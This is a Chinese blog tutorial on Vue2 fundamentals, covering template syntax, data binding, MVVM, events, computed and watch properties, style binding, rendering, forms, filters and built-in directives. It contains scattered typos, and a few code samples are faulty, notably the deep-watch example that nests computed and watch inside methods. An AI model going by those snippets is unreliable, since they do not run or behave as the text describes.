前端框架Vue2(一)——Vue核心与MVVM模型

发布于:2025-08-02 ⋅ 阅读:(16) ⋅ 点赞:(0)

Vue核心

Vue简介

  1. 概念:
    在这里插入图片描述

  2. Vue的特点

    1. 采用组件化模式,提高代码复用率、且让代码更好维护。
    2. 声明式编码,让编码人员无需直接操作DOM,提高开发效率。
    3. 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点。
    4. 学习Vue之前要掌握的JavaScript基础知识?

      ES6语法规范
      ES6模块化
      包管理器
      原型、原型链
      数组常用方法
      axios
      promise

  3. 初识Vue:

    1. 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
    2. root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
    3. root容器里的代码被称为【Vue模板】;
    4. Vue实例和容器是一一对应的;
    5. 真实开发中只有一个Vue实例,并且会配合着组件一起使用;
    6. {xxx)}中的xxx要写s表达式,且xxx可以自动读取到data中的所有属性;
    7. 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>初始Vue</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h1>Hello,{{name.toUpperCase()}},{{address}}</h1>

  </div>

  <script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        name: 'World',
        address: '北京'
      }
    })

  </script>
</body>

</html>

Vue语法

Vue模板语法有2大类:

  1. 插值语法
    功能:用于解析标签体内容。
    写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
  2. 指令语法:
    功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.···)
    举例:v-bind:href="xxx"或简写为:href=“xxx”,xxx同样要写js表达式
    且可以直接读取到data中的所有属性。
    备注:Vue中有很多的指令,且形式都是:v-???,此处我们只是拿v-bind举个例子。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>模版语法</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <div id="app">
      <!-- 插值语法 -->
      <h1>插值语法</h1>
      <h1>{{message}}</h1>
      <!-- 绑定属性 -->
      <p v-bind:title="message">鼠标悬停几秒钟查看此处动态绑定的提示信息!</p>
      <!-- 绑定事件 -->
      <button v-on:click="reverseMessage">反转消息</button>
      <!-- 绑定多个事件 -->
      <button v-on:click="say('hi')">Say hi</button>
      <!-- 指令语法 -->
      <h1>指令语法</h1>
      <a :href="school.url">点我去学习</a>

    </div>
  </div>
</body>
<script>
  new Vue({
    el: '#app',
    data: {
      message: 'Hello Vue!',
      school: {
        url: "http://www.atguigu.com"
      }
    },
    methods: {
      reverseMessage: function () {
        this.message = this.message.split('').reverse().join('')
      },
      say: function (message) {
        alert(message)
      }
    }
  })
</script>

</html>

Vue数据绑定

Vue中有2种数据绑定的方式:

  1. 单向绑定(v-bind):数据只能从data流向页面。
  2. 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。

备注:
1. 双向绑定一般都应用在表单类元素上(如:inputselect等)
2. v-model:value可以简写为v-model,因为v-model默认收集的就是value值。

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>数据绑定</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <!-- 普通写法 -->
    <!-- 单向数据绑定:<input type="text" v-bind:value="name">
    <br>
    双向数据绑定:<input type="text" v-model:value="name">
    <br> -->
    <!-- 简写 -->
    单向数据绑定:<input type="text" :value="name">
    <br>
    双向数据绑定:<input type="text" v-model="name">
    <br>
    <!-- 如下代码是错误的,因为v-mode1只能应用在表单类元素(输入类元素)上 -->
    <!-- <h1 v-bind:x="name">你好啊</h1> -->
  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '张三'
      }
    })
  </script>
</body>

</html>

data与el的2种写法

  1. el有2种写法
    1. new Vue时候配置el属性。
    2. 先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值。
  2. data有2种写法
    1. 对象式
    2. 函数式
      如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
  3. 一个重要的原则:
    由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>el和data的两种写法</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h1>你好啊,{{name}}</h1>
  </div>
</body>
<script type="text/javascript">
  //el的两种写法
  /*  const v = new Vue({
     // el: '#root',//第一种写法
     data: {
       name: '张三'
     }
   })
 
   v.$mount('#root')//第二种写法 */

  // data的两种写法
  const v = new Vue({
    el: '#root',
    //第一种写法:对象式
    // data: {
    //   name: '张三'
    // }
    //第二种写法:函数式
    data() {
      console.log(this)//this指向Vue实例对象
      return {
        name: '张三'
      }
    }
  })
</script>

</html>

MVVM模型

  1. M:模型(Model):对应data中的数据
  2. V:视图(View):模板
  3. VM:视图模型(ViewModel):Vue实例对象
    在这里插入图片描述
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>理解MVVM</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h1>学校名称:{{name}}</h1>
    <h1>学校地址:{{address}}</h1>
    <h2>测试一下:{{$options}}</h2>
    <h2>测试一下:{{$emit}}</h2>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name: 'HIST',
      address: '新乡'
    }
  })
</script>

</html>

Vue中的数据代理

  1. Vue中的数据代理:
    通过vm对象来代理data对象中属性的操作(读/写)
  2. Vue中数据代理的好处:
    更加方便的操作data中的数据
  3. 基本原理:
    通过Object.defineProperty()把data对象中所有属性添加到vm上。
    为每一个添加到vm上的属性,都指定一个getter/setter。
    getter,setter内部去操作(读/写)data中对应的属性。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Vue中的数据代理</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
  </div>
  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: 'HIST',
        address: '新乡'
      }
    })
  </script>
</body>

</html>

事件处理

事件的使用

事件的基本使用:

  1. 使用正-on:xxx或@xxx绑定事件,其中xxx是事件名;
  2. 事件的回调需要配置在nethods对象中,最终会在vm上;
  3. methods中配置的函数,不要用箭头函数!否则this就不是vm了;
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象;
  5. @click="demo"@click-="demo($event)"效果一致,但后者可以传参;
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>事件的基本应用</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>欢迎大家来到{{name}}</h2>
    <button v-on:click="showInfo">点我提示信息</button>
    <button @click="showInfo2(66,$event)">点我提示信息</button>

  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: 'Vue'
      }, methods: {
        showInfo(event) {
          alert('欢迎来到' + this.name)
        },
        showInfo2(number, event) {
          console.log(event, number)
          alert('欢迎来到' + this.name)
        }
      }
    },
    )
  </script>
</body>

</html>

事件修饰符

Vue中的事件修饰符:

  1. prevent:阻止默认事件(常用);
  2. stop:阻止事件冒泡(常用);
  3. once:事件只触发一次(常用);
  4. capture:使用事件的捕获模式;
  5. self:只有event.target是当前操作的元素是才触发事件;
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>事件修饰符</title>
  <script type="text/javascript" src="../js/vue.js"></script>
  <style>
    * {
      margin-top: 20px;
    }

    .demo1 {
      height: 50px;
      background-color: skyblue;
    }

    .box1 {
      padding: 5px;
      background-color: pink;
    }

    .box2 {
      padding: 5px;
      background-color: paleturquoise;
    }

    .list {
      width: 200px;
      height: 200px;
      background-color: powderblue;
      overflow: auto;
    }

    li {
      height: 100px;
    }
  </style>
</head>

<body>
  <div id="root">
    <h2>欢迎大家来到{{name}}</h2>
    <!-- 阻止默认事件(常用) -->
    <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
    <!-- 阻止事件冒泡(常用) -->
    <div class="demo1" @click="showInfo">
      <button @click.stop="showInfo">点我提示信息</button>
    </div>
    <!-- 事件只触发一次(常用) -->
    <button @click.once="showInfo">点我提示信息</button>
    <!-- 使用事件的捕获模式 -->
    <div class="box1" @click="showMsg(1)">
      div1
      <div class="box2" @click="showMsg(2)">
        div2
      </div>
    </div>
    <!-- 只有event.target是当前操作的元素是才触发事件 -->
    <div class="demo1" @click="showInfo">
      <button @click.stop="showInfo">点我提示信息</button>
    </div>
    <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
    <ul @wheel.passive="demo" class="list">
      <li>1</li>
      <li>2</li>
      <li>3</li>
      <li>4</li>
    </ul>
  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: 'Vue'
      }, methods: {
        showInfo(event) {
          // event.stopPropagation();
          alert('欢迎来到' + this.name)
        },
        showMsg(number) {
          alert('欢迎来到' + this.name + number)
        },
        demo() {
          for (let i = 0; i < 5; i++) {
            console.log(i)
          }
          console.log('累坏了')
        }
      }
    },
    )
  </script>

</html>

键盘事件

  1. Vue中常用的按键别名:

回车=>enter
则除=>delete(捕获“删除”和退格”键)
退出=>esc
空格=>space
换行=>tab
上=>up
下=>down
左=>1eft
右=>right

  1. Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
  2. 系统修饰键(用法特殊):ctrl、alt、shift、meta
    1. 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
    2. 配合keydown使用:正常触发事件。
  3. 也可以使用keyCode去指定具体的按键(不推荐)
  4. Vue.config.keyCodes自定义键名=键码,可以去定制按键别名
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>键盘事件</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>欢迎来到{{name}}</h2>
    <input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo"></input>
  </div>
</body>
<script type="text/javascript">
  Vue.config.keyCodes.huiche = 13
  new Vue({
    el: '#root',
    data: {
      name: 'Vue'
    },
    methods: {
      showInfo(e) {
        console.log(e)
        if (e.keyCode !== 13) return
        console.log(e.target.value)
      }
    }
  },
  )
</script>

</html>

计算属性

  1. 定义:要用的属性不存在,要通过已有属性计算得来。
  2. 原理:底层借助了Objcet.defineproperty方法提供的gettersetter
  3. get函数什么时候执行?
    1. 初次读取时会执行一次。
    2. 当依赖的数据发生改变时会被再次调用。
  4. 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
  5. 备注:
    1. 计算属性最终会出现在vm上,直接读取使用即可。
    2. 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生变化

监视属性

监视属性watch:

  1. 当被监视的属性变化时,回调函数自动调用。
    进行相关操作
  2. 监视的属性必须存在,才能进行监视!!
  3. 监视的两种写法:
    1. new Vue时传入watch配置
    2. 通过vm.$watch监视
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>天气案例_监视属性</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>
  </div>
</body>
<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      isHot: true
    },
    methods: {
      changeWeather() {
        this.isHot = !this.isHot
      }
    },
    computed: {
      info() {
        return this.isHot ? '炎热' : '凉爽'
      }
    },
    /* watch: {
      isHot: {
        immediate: true,//初始化时让handler调用一下
        //handler什么时候调用?当isHot发生改变时
        handler(newValue, oldValue) {
          console.log('info被修改了', newValue, oldValue)
        }
      }
    } */
  })
  vm.$watch('isHot', {
    immediate: true,//初始化时让handler调用一下
    //handler什么时候调用?当isHot发生改变时
    handler(newValue, oldValue) {
      console.log('info被修改了', newValue, oldValue)
    }
  })  
</script>

</html>

深度监视

  1. Vue中的watch默认不监测对象内部值的改变(一层)。
  2. 配置deep:true可以监测对象内部值改变(多层)。
    备注:
  3. Vue自身可以监测对象内部值的改变,但Vue提供的watch.默认不可以!
  4. 使用watch时根据数据的具体结构,决定是否采用深度监视。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>天气案例_监视属性</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>

  </div>
</body>
<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      isHot: true
    },
    methods: {
      changeWeather() {
        this.isHot = !this.isHot
      },

      computed: {
        info() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      watch: {
        // 正常写法
        /* isHot: {
          immediate: true,//初始化时让handler调用一下
          //handler什么时候调用?当isHot发生改变时
          handler(newValue, oldValue) {
            console.log('info被修改了', newValue, oldValue)
          }
        } */
        //  简写
        /* isHot(newValue, oldValue) {
          console.log('info被修改了', newValue, oldValue)
        } */
      }
    }
  })
  // 监听属性的写法
  /*  vm.$watch('isHot', {
     immediate: true,
     handler(newValue, oldValue) {
       console.log('info被修改了', newValue, oldValue)
     }
   }) */
  // 监听属性的简写
  vm.$watch('isHot', function (newValue, oldValue) {
    console.log('info被修改了', newValue, oldValue)
  })

</script>

</html>

computed和watch

computedwatch之间的区别:

  1. computed能完成的功能,watch都可以完成。
  2. watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
    两个重要的小原则:
  3. 所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象。
  4. 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等),最好写成箭头函数,
    这样this的指向才是vm或组件实例对象。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>姓名案例_watch实现</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    姓:<input type="text" v-model="firstName">
    <br>
    名:<input type="text" v-model="lastName">
    <br>
    姓名:<span>{{fullName}}</span>
  </div>
</body>

<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      firstName: '张',
      lastName: '三',
      fullName: '张-三'
    },
    watch: {
      firstName(newValue) {
        setTimeout(() => {
          this.fullName = newValue + '-' + this.lastName
        }, 1000)
      },
      lastName(newValue) {
        this.fullName = this.firstName + '-' + newValue
      }
    }
  })
</script>

</html>

绑定样式

  1. class样式
    写法:class="xxx"Xxx可以是字符串、对象、数组。
    字符串写法适用于:类名不确定,要动态获取。
    对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
    数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
  2. style样式
    :style=:"{fontsize:xxx)"其中xxx是动态值。
    :style="[a,b]"其中a、b是样式对象。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>绑定样式</title>
  <script type="text/javascript" src="../js/vue.js"></script>
  <style>
    .basic {
      width: 100px;
      height: 100px;
      border: 1px solid black;
      background-color: aqua;
    }

    .happy {
      background-color: pink;
    }

    .sad {
      background-color: azure;
    }


    .normal {
      background-color: greenyellow;
    }

    .hist {
      background-color: gray;
    }

    .hist2 {
      border-radius: 10px;
    }

    .hist3 {
      box-shadow: 10px;
    }
  </style>
</head>

<body>
  <div id="root">
    <!-- 绑定class样式-字符串写法,适用于:样式的类名不确上,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    <!-- 绑定class样式--数组写法,适用于:类名不确定,需要动态指定 -->
    <div class="basic" :class="classArr">{{name}}</div>
    <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定、样式的类名确定,需要动态切换 -->
    <div class="basic" :class="classObj">{{name}}</div>
    <!--绑定style样式--对象写法-->
    <div class="basic" :style="styleObj">嘻嘻</div>
    <!--绑定style样式--数组写法-->
    <div class="basic" :style="[styleArr]">嘻嘻</div>
  </div>
</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name: '张三',
      mood: 'normal',
      classArr: ['hist', 'hist2', 'hist3'],
      classObj: {
        happy: true,
        sad: false,
        normal: true
      },
      styleObj: {
        fontsize: '40px',
        color: 'red',
        backgroundColor: 'orange'
      },
      styleObj2: {
        backgroundColor: 'pink'
      },
      styleArr: [
        {
          fontsize: '40px',
          color: 'red',
        },
        {
          backgroundColor: 'pink'
        }
      ]
    },
    methods: {
      changeMood() {
        const arr = ['happy', 'sad', 'normal']
        const index = Math.floor(Math.random() * 3)
        this.mood = arr[index]
      }
    }
  })
</script>

</html>

条件渲染

条件渲染:

  1. v-if
    写法:
    1. v-if="表达式”
    2. v-else-if=“表达式”
    3. v-else=“表达式”
      适用于:切换频率较低的场景。
      特点:不展示的DOM元素直接被移除。
      注意:v-if可以和:v-else-ifv-else一起使用,但要求结构不能被“打断”。
  2. v-show
    写法:v-show=“表达式”
    适用于:切换频率较高的场景。
    特点:不展示的D0M元素未被移除,仅仅是使用样式隐藏掉
  3. 备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>条件渲染</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
    <!--使用V-show做条件渲染-->
    <!--<h2 v-show="false">欢迎来到{{name}}</h2>-->
    <!--<h2 v-show="1==1">欢迎来到{{name}}</h2>-->
    <!--使用v-if做条件渲染-->
    <!--<h2 v-if="false">欢迎来到{[name}}</h2>-->
    <!--<h2 v-if="1==1">欢迎来到{{name}}</h2>-->

    <!-- v-else和v-else-if -->
    <!-- <div v-if="n===1">Angular</div>
    <div v-else-if="n===1">React</div>
    <div v-else-if="n===3">Vue</div>
    <div v-else>哈哈</div> -->

    <!--v-if与template的配合使用-->
    <template v-if="n===1">
      <h2>你好</h2>
      <h2>尚硅谷</h2>
      <h2>北京</h2>
    </template>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      n: 0,
      name: 'Vue'
    }
  })
</script>

</html>

列表渲染

基本列表

v-for指令:

  1. 用于展示列表数据
  2. 语法:v-for=“(item,index)in xxx”:key="yyy
  3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>基本列表</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <ul>
      <li v-for="p in persons" :key="p.id">
        姓名:{{p.name}},
        年龄:{{p.age}}
      </li>
    </ul>
    <!--遍历对象-->
    <h2>汽车信息</h2>
    <ul>
      <li v-for="(a,b) of car">
        {{a}}-{{b}}
      </li>
    </ul>
    <!--遍历字符串-->
    <h2>测试遍历字符串</h2>
    <ul>
      <li v-for="(char,index) of str" :key="index">
        {{char}}-{{index}}
      </li>
    </ul>
    <!--遍历指定次数-->
    <h2>测试遍历指定次数<h2>
        <ul>
          <li v-for="(a,b) of 5">
            {{a}}-{{b}}
          </li>
        </ul>
  </div>
  </div>
  </div>
</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      persons: [
        {
          id: '001',
          name: '张三',
          age: 18
        },
        {
          id: '002',
          name: '李四',
          age: 19
        },
        {
          id: '003',
          name: '王五',
          age: 23
        }
      ],

      car: {
        name: '奥迪A8',
        price: '70万',
        color: '黑色'
      },

      str: 'hello'

    }
  })
</script>

</html>

key的基本原理

面试题:react、vue中的key有什么作用?(key的内部原理)

  1. 虚拟DOM中key的作用:
    key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
    随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
  2. 对比规则:
    1. 旧虚拟DOM中找到了与新虚拟DOM相同的key:
      1. 若虚拟DOM中内容没变,直接使用之前的真实DOM!
      2. 若虚拟DOM中内容变了,则生成新的真实D0M,随后替换掉页面中之前的真实DOM。
    2. 旧虚拟DOM中未找到与新虚拟DOM相同的key
      创建新的真实DOM,随后渲染到到页面。
  3. 用index作为key可能会引发的问题:
    1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
      会产生没有必要的真实DOM更新=>界面效果没问题,但效率低。
    2. 如果结构中还包含输入类的DOM:
      会产生错误DOM更新=>界面有问题。
  4. 开发中如何选择key?:
    1. 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
      使用index作为key是没有问题的。

列表过滤和排序

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>列表排序</title>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>人员列表</h2>
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <button @click="sortType=2">年龄升序</button>
    <button @click="sortType=1">年龄降序</button>
    <button @click="sortType=0">原顺序</button>
    <ul>
      <li v-for="(p,index) in filPersons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>
  </div>

  <script type="text/javascript">
    // 用computed实现
    new Vue({
      el: '#root',
      data: {
        keyWord: '',
        sortType: 0, // 0:原顺序, 1:降序, 2:升序
        persons: [
          { id: '001', name: '张三', age: 18, sex: '男' },
          { id: '002', name: '李四', age: 19, sex: '女' },
          { id: '003', name: '王五', age: 23, sex: '男' },
          { id: '004', name: '赵六', age: 16, sex: '女' }
        ]
      },
      computed: {
        filPersons() {
          // 1. 先过滤
          const arr = this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1;
          });

          // 2. 再排序
          if (this.sortType) {
            arr.sort((a, b) => {
              // 升序
              if (this.sortType === 2) {
                return a.age - b.age;
              }
              // 降序
              else {
                return b.age - a.age;
              }
            });
          }

          return arr;
        }
      }
    })
  </script>
</body>

</html>

Vue监视数据的原理:

  1. vue会监视data中所有层次的数据
  2. 如何监测对象中的数据?
    通过setter实现监视,且要在new Vue时就传入要监测的数据。
    1. 对象中后追加的属性,Vue默认不做响应式处理
    2. 如需给后添加的属性做响应式,请使用如下API:
      Vue.set(target,propertyName/index,value)
      vm.$set(target,propertyName/index,value)
  3. 如何监测数组中的数据?
    通过包裹数组更新元素的方法实现,本质就是做了两件事:
    1. 调用原生对应的方法对数组进行更新。
    2. 重新解析模板,进而更新页面。
  4. 在Vue修改数组中的某个元素一定要用如下方法:
    1. 使用这些API:push()pop()shift()unshift()splice()sort()
    2. Vue.set()vm.$set()
      特别注意:Vue.set()vm.$set()不能给vm或vm的根数据对象添加属性!!!

收集表单数据

若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio'"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>

  1. 没有配置inputvalue属性,那么收集的就是checked(勾选or未勾选,是布尔值)
  2. 配置inputvalue属性:
    1. v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
    2. v-model的初始值是数组,那么收集的的就是value组成的数组
      备注:v-model的三个修饰符:
      lazy:失去焦点再收集数据
      number:输入字符串转为有效的数字
      trim:输入首尾空格过滤
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>收集表单数据</title>
  <script type="text/javascript" src="../js/vue.js"></script>
  <style>
    * {
      margin: 10px 0;
    }
  </style>
</head>

<body>
  <div id="root">
    <form @submit.prevent="demo">
      账号:<input type="text" v-model="account"><br>
      密码:<input type="password" v-model="password"><br>
      性别:
      男<input type="radio" name="sex" v-model="sex" value="male"><input type="radio" name="sex" v-model="sex" value="female"><br />
      爱好:
      学习<input type="checkbox" v-model="hobby" value="study">
      打游戏<input type="checkbox" v-model="hobby" value="game">
      吃饭<input type="checkbox" v-model="hobby" value="eat"><br>
      所属校区
      <select>
        <option value="">请选择校区</option>
        <option value="beijing">北京</option>
        <option value="shanghai">上海</option>
        <option value="shenzhen">深圳</option>
        <option value="wuhan">武汉</option>
      </select>
      <br>
      其他信息:
      <textarea v-model="other"></textarea><br /><br />
      <input type="checkbox" v-model="agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
      <button>提交</button>
    </form>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      account: '',
      password: '',
      sex: 'female',
      hobby: [],
      city: 'beijing',
      other: '',
      agree: ''
    },

    methods: {
      demo() {
        console.log(this.account)
      }
    }
  })
</script>

</html>

过滤器

定义:对要显示的数据进行特定格式化后再显示
(适用于一些简单逻辑的处理)
语法:

  1. 注册过滤器:Vue.filter(name,callback)或new Vue{filters:{}}
  2. 使用过滤器:{(xxx|过滤器名}}或v-bind:属性=“xxx|过滤器名”
    备注:
  3. 过滤器也可以接收额外参数、多个过滤器也可以串联
  4. 并没有改变原本的数据,是产生新的对应的数据
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>过滤器</title>
  <!-- 引入Vue.js -->
  <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
  <!-- 引入dayjs -->
  <script src="https://cdn.jsdelivr.net/npm/dayjs@1.11.7/dayjs.min.js"></script>
</head>

<body>
  <div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- computed实现 -->
    <h3>现在是:{{fmtTime}}</h3>
    <!-- methods实现 -->
    <h3>现在是:{{getFmtTime()}}</h3>
    <!-- 过滤器实现 -->
    <h3>现在是:{{time | fmtTime }}</h3>
    <!-- 过滤器实现(传参) -->
    <h3>现在是:{{time | fmtTime | mySlice}}</h3>
    <!-- 修正语法错误 -->
    <h3 :x="msg | mySlice">尚硅谷</h3>
  </div>

  <div id="root2">
    <h2>{{msg | mySlice}}</h2>
  </div>
</body>
<script>
  // 全局过滤器
  /*  Vue.filters('mySlice', function (value) {
     // 确保value存在且是字符串类型
     if (!value || typeof value !== 'string') return value;
     return value.slice(0, 4)
   }) */

  // 第一个Vue实例
  new Vue({
    el: "#root",
    data: {
      time: 1021052709425, // 时间戳
      msg: '你好,Vue过滤器'
    },
    computed: {
      // 计算属性格式化时间
      fmtTime() {
        return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
      }
    },
    methods: {
      // 方法格式化时间
      getFmtTime() {
        return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
      }
    },
    filters: {
      // 局部过滤器:格式化时间
      fmtTime(value) {
        return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
      }
      // 注意:这里移除了与全局过滤器同名的mySlice,避免冲突
    }
  })

  // 第二个Vue实例
  new Vue({
    el: "#root2",
    data: {
      msg: '全局过滤器也能在多个Vue实例中使用'
    }
  })
</script>

</html>

内置指令

学过的指令:
v-bind:单向绑定解析表达式,可简写为:xxx
v-model:双向数据绑定
v-for:遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染(动态控制节点是否展示)

v-text指令

v-text指令:

  1. 作用:向其所在的节点中渲染文本内容。
  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>v-text指令</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <div>{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
  </div>
</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name: '张三',
      str: 'hello'
    }
  })
</script>

</html>

v-html指令

  1. 作用:向指定节点中渲染包含htm结构的内容。
  2. 与插值语法的区别:
    1. v-html会替换掉节点中所有的内容,{{xx}}则不会。
    2. v-html可以识别html结构。
  3. 严重注意:v-html有安全性问题!!!!
    1. 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    2. 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>v-html指令</title>
  <script type="text/javascript" src="../js/vue.js"></script>
